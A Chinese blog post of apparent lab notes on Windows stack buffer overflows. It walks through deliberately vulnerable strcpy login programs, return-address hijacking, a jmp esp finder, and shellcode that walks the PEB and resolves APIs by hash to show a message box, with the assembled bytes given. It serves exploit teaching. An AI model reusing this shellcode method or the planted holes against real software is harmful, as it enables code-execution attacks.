请注意,本文编写于 1413 天前,最后修改于 1406 天前,其中某些信息可能已经过时。
源码:
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
authenticated=strcmp(password,PASSWORD);
// strcpy(password,PASSWORD);
return authenticated;
}
main(){
int valid_flag=0;
char password[8];
while(1)
{ printf("please input password: ");
scanf("%s",password);
valid_flag=verify_password(password);
if(valid_flag)
{ printf("incorrect password!\n\n");
} else
{printf("Congratulation! You have passed the verification!\n");
break;
}}}
运行程序,发现是一个验证登陆程序,只有密码正确才可以通过验证。
我们选择爆破的方式,破解程序,我们IDA打开程序,定位到关键判断,直接将判断改为jmp,爆破验证。
#include <stdio.h>
#include <string.h>
#define PASSWORD "1234567"
int verify_password(char *password){
int authenticated;
char buffer[8];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
main(){
int valid_flag=0;
char password[1024];
while(1){
printf("please input password: ");
scanf("%s",password);
valid_flag=verify_password(password);
if(valid_flag){
printf("incorrect password!\n\n");
}else{
printf("Congratulation! You have passed the verification!\n");
break;
}}}
与上一个程序基本相似,但是当输入88888888时程序可以验证通过。我们来观察原因所在。
首先OD打开程序,在输入处打断点。发现比较的函数没有任何问题,返回了正确的结果,但是问题出现在了复制函数上,由于复制导致栈溢出,将截断的/x00复制到了返回值上,使得返回值被覆盖,从而产生了88888888也能通过的结果。不光是88888888可以qqqqqqqq也可以,只要可以产生覆盖的字符串都可以通过验证。
#include <stdio.h>
#include <string.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[8];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
void hank(){
printf("hello,hacker");
}
int main(){
int valid_flag=0;
char password[1024];
FILE * fp;
if(!(fp=fopen("password.txt","rw+"))){
return 0;
}
fscanf(fp,"%s",password);
valid_flag=verify_password(password);
if(valid_flag){
printf("incorrect password!\n\n");
}else{ printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
本题主要考察通过栈溢出覆盖返回值地址,通过这样的手段控制函数流程。由于原先的实验不好观察栈溢出劫持返回值从而控制,我加入了后门函数。
首先我们在txt中输入1234567,程序会提示"Congratulation! You have passed the verification!n"。
然后我们使用IDA打开程序,找到我们的hank地址。
使用十六进制编辑器,编辑覆盖地址与返回地址。
本程序需要没有源码的程序中实现弹窗,我们就需要在程序中注入shellcode。我们采取C的_ASM来编写shelllcode,通过OD的动态调制器来获得shellcode的二进制源码。程序代码:
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
main(){
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt","rw+"))){
exit(0);
}
fscanf(fp,"%s",password);
valid_flag=verify_password(password);
if(valid_flag){
printf("incorrect password!\n\n");
}else{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
首先我们先实现静态shellcode的编写,由于程序自己加载了user32.dll动态链接库,所以我们只需要确定地址即可。首先我们需要一个跳转指令jmp esp完成shellcode的定位。
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (long)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
}
运行程序,查找相关的可以使用的系统指令。
其次我们需要得到本机中弹窗的系统API接口地址:
#include <stdio.h>
#include <windows.h>
typedef void (*FuncPointer)(LPTSTR); // 函数指针
int main()
{
HINSTANCE LibHandle;
FuncPointer GetAddr;
// 加载成功后返回库模块的句柄
LibHandle = LoadLibrary("user32");
printf("user32 LibHandle = 0x%X\n", LibHandle);
// 返回动态链接库(DLL)中的输出库函数地址
GetAddr=(FuncPointer)GetProcAddress(LibHandle,"MessageBoxA");
printf("MessageBoxA = 0x%X\n", GetAddr);
return 0;
}
之后我们还需要让程序可以正常退出,所以我们还需要exit的地址接口:
#include <stdio.h>
#include <windows.h>
typedef void (*FuncPointer)(LPTSTR); // 函数指针
int main()
{
HINSTANCE LibHandle;
FuncPointer GetAddr;
// 加载成功后返回库模块的句柄
LibHandle = LoadLibrary("kernel32");
printf("kernel32 LibHandle = 0x%X\n", LibHandle);
// 返回动态链接库(DLL)中的输出库函数地址
GetAddr=(FuncPointer)GetProcAddress(LibHandle,"ExitProcess");
printf("ExitProcess = 0x%X\n", GetAddr);
return 0;
}
在我们找到所有需要使用的地址后我们可以开始编写我们的shellcode了:
909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090CFCFB67633DB53686A6F6B6568546869738BC453505053B83019A876FFD053B890591A76FFD0
之后我们将其注入栈中即可,我们看到了函数运行到了占的空间上,执行了我们的函数。
由于每次在不同计算机启动程序的时候地址都是不确定的,所以MassageBox的函数地址也是不能被确定了,所以我们除了需要给MassageBox传参,还需要确定它的函数地址。这里我们需要使用到一个动态链接库----动态定位kernel32.dll
不同版本的操作系统,kernel32.dll的基地址也是不同的。Windows没有linux那样方便的中断机制来调用系统函数,所以只能通过基址+偏移地址来确定函数的位置。大概流程是通过FS段选择器找到TEB,通过TEB找到PEB,然后获取kernel和ntdll的地址。
在确定kernel32.dll后,我们就可以是使用他对windows的API进行查找了。Massageboxs在user32.dll中,而我们并不确定这个动态库是否被程序加载,所以我们需要使用LoadLibrary对user32.dll进行加载。
在加载相应的库之后,我们需要确定我们需要函数的API地址,我们可以使用查找的方式遍历库来实现。但由于每个函数名字都很长,对比起来需要占很大的空间,导致我们的shellcode变得十分的长,所以我们需要使用hash索引的方式,简化比较。我们可以先通过程序计算哈希值。
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
DWORD digest = 0;
while (*fun_name)
{
digest = ((digest << 25) | (digest >> 7));
digest += *fun_name;
fun_name++;
}
return digest;
}
int main()
{
DWORD hash;
hash = GetHash("LoadLibraryExA");
printf("0x%.8x\n", hash);
getchar();
return 0;
}
当然这里的算法不是固定的,只要能保证这里面算出来的值和你shellcode中对应的值相等即可,我们把他提取出来,我们接完成了准备工作。
对于shellcode的编写我们可以使用C中的asm,直接编写汇编代码,随后在OD中提取相应的字节码,直接注入到程序内即可。注意函数调用的规则等,不要让程序崩溃。
这里是shellcode编写代码:
#include <stdio.h>
#include <windows.h>
int main()
{
__asm {
// ===将索要调用的函数hash值入栈保存
CLD // 清空标志位DF
push 0x1E380A6A // 压入MessageBoxA-->user32.dll
push 0x4FD18963 // 压入ExitProcess-->kernel32.dll
push 0x0C917432 // 压入LoadLibraryA-->kernel32.dll
mov esi, esp // 指向堆栈中存放LoadLibraryA的地址
lea edi, [esi - 0xc] // 后面会利用edi的值来调用不同的函数
// ===开辟内存空间,这里是堆栈空间
xor ebx, ebx
mov bh, 0x04 // ebx为0x400
sub esp, ebx // 开辟0x400大小的空间
// ===将user32.dll入栈
mov bx, 0x3233
push ebx // 压入字符'32'
push 0x72657375 // 压入字符 'user'
push esp
xor edx, edx // edx=0
// ===查找kernel32.dll的基地址
mov ebx, fs: [edx + 0x30] // [TEB+0x30] -> PEB
mov ecx, [ebx + 0xC] // [PEB+0xC] -> PEB_LDR_DATA
mov ecx, [ecx + 0x1C] // [PEB_LDR_DATA+0x1C] -> InInitializationOrderModuleList
mov ecx, [ecx] // 进入链表第一个就是ntdll.dll
mov ebp, [ecx + 0x8] //ebp = kernel32.dll 的基地址
// === hash 的查找相关
find_lib_functions :
lodsd // eax=[ds*10H+esi],读出来是LoadLibraryA的Hash
cmp eax, 0x1E380A6A // 与MessageBoxA的Hash进行比较
jne find_functions // 如果不相等则继续查找
xchg eax, ebp
call[edi - 0x8]
xchg eax, ebp
// ===在PE文件中查找相应的API函数
find_functions :
pushad
mov eax, [ebp + 0x3C] // 指向PE头
mov ecx, [ebp + eax + 0x78] // 导出表的指针
add ecx, ebp // ecx=0x78C00000+0x262c
mov ebx, [ecx + 0x20] // 导出函数的名字列表
add ebx, ebp // ebx=0x78C00000+0x353C
xor edi, edi // 清空edi中的内容,用作索引
// ===循环读取导出表函数
next_function_loop :
inc edi // edi作为索引,自动递增
mov esi, [ebx + edi * 4] // 从列表数组中读取
add esi, ebp // esi保存的是函数名称所在的地址
cdq
// ===hash值的运算过程
hash_loop :
movsx eax, byte ptr[esi] // 每次读取一个字节放入eax
cmp al, ah // eax和0做比较,即结束符
jz compare_hash // hash计算完毕跳转
ror edx, 7
add edx, eax
inc esi
jmp hash_loop
// ===hash值的比较函数
compare_hash :
cmp edx, [esp + 0x1C]
jnz next_function_loop // 比较不成功则查找下一个函数
mov ebx, [ecx + 0x24] // ebx=序数表的相对偏移量
add ebx, ebp // ebx=序数表的绝对地址
mov di, [ebx + 2 * edi] // di=匹配函数的序数
mov ebx, [ecx + 0x1C] // ebx=地址表的相对偏移量
add ebx, ebp // ebx=地址表的绝对地址
add ebp, [ebx + 4 * edi] // 添加到EBP(模块地址库)
xchg eax, ebp // 将func addr移到eax中
pop edi // edi是pushad中最后一个堆栈
stosd
push edi
popad
cmp eax, 0x1e380a6a // 与MessageBox的hash值比较
jne find_lib_functions
// ===下方的代码,就是我们的弹窗
function_call :
xor ebx, ebx // 清空eb寄存器
push ebx
mov eax,0x151BAA25
xor eax,0x68699916
push eax
mov eax,0x4E7E413A
xor eax,0x20172654
push eax
mov eax,0x13481527
xor eax,0x20172654
push eax
mov eax,0xFA330061
xor eax,0x88567652
push eax
mov eax,0x1A36A911
xor eax,0x68699920
push eax
mov eax,0x595AF15B
xor eax,0x68699920
push eax
mov eax,0x51DF754
xor eax,0x63699420
push eax
mov eax,0xF90BE1B3
xor eax,0x956694D0
push eax
mov eax, esp
push ebx // push 0
push eax // push "flag"
push eax // push "flag"
push ebx // push 0
call[edi - 0x04] // call MessageBoxA
push ebx // push 0
call[edi - 0x08] // call ExitProcess
}
return 0;
}
55 8B EC 81 EC C0 00 00 00 53 56 57 8D BD 40 FF FF FF B9 30 00 00 00 B8 CC CC CC CC F3 AB FC 68
6A 0A 38 1E 68 63 89 D1 4F 68 32 74 91 0C 8B F4 8D 7E F4 33 DB B7 04 2B E3 66 BB 33 32 53 68 75
73 65 72 54 33 D2 64 8B 5A 30 8B 4B 0C 8B 49 1C 8B 09 8B 69 08 AD 3D 6A 0A 38 1E 75 05 95 FF 57
F8 95 60 8B 45 3C 8B 4C 05 78 03 CD 8B 59 20 03 DD 33 FF 47 8B 34 BB 03 F5 99 0F BE 06 3A C4 74
08 C1 CA 07 03 D0 46 EB F1 3B 54 24 1C 75 E4 8B 59 24 03 DD 66 8B 3C 7B 8B 59 1C 03 DD 03 2C BB
95 5F AB 57 61 3D 6A 0A 38 1E 75 A9 33 DB 53 68 33 33 72 7D 68 6E 67 69 6E 68 73 33 5F 33 68 33
76 65 72 68 31 30 5F 72 68 7B 68 33 31 68 74 63 74 66 68 63 75 6D 6C 8B C4 53 50 50 53 FF 57 FC
53 FF 57 F8 33 C0 5F 5E 5B 81 C4 C0 00 00 00 3B EC E8 27 FA FF FF 8B E5 5D C3
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!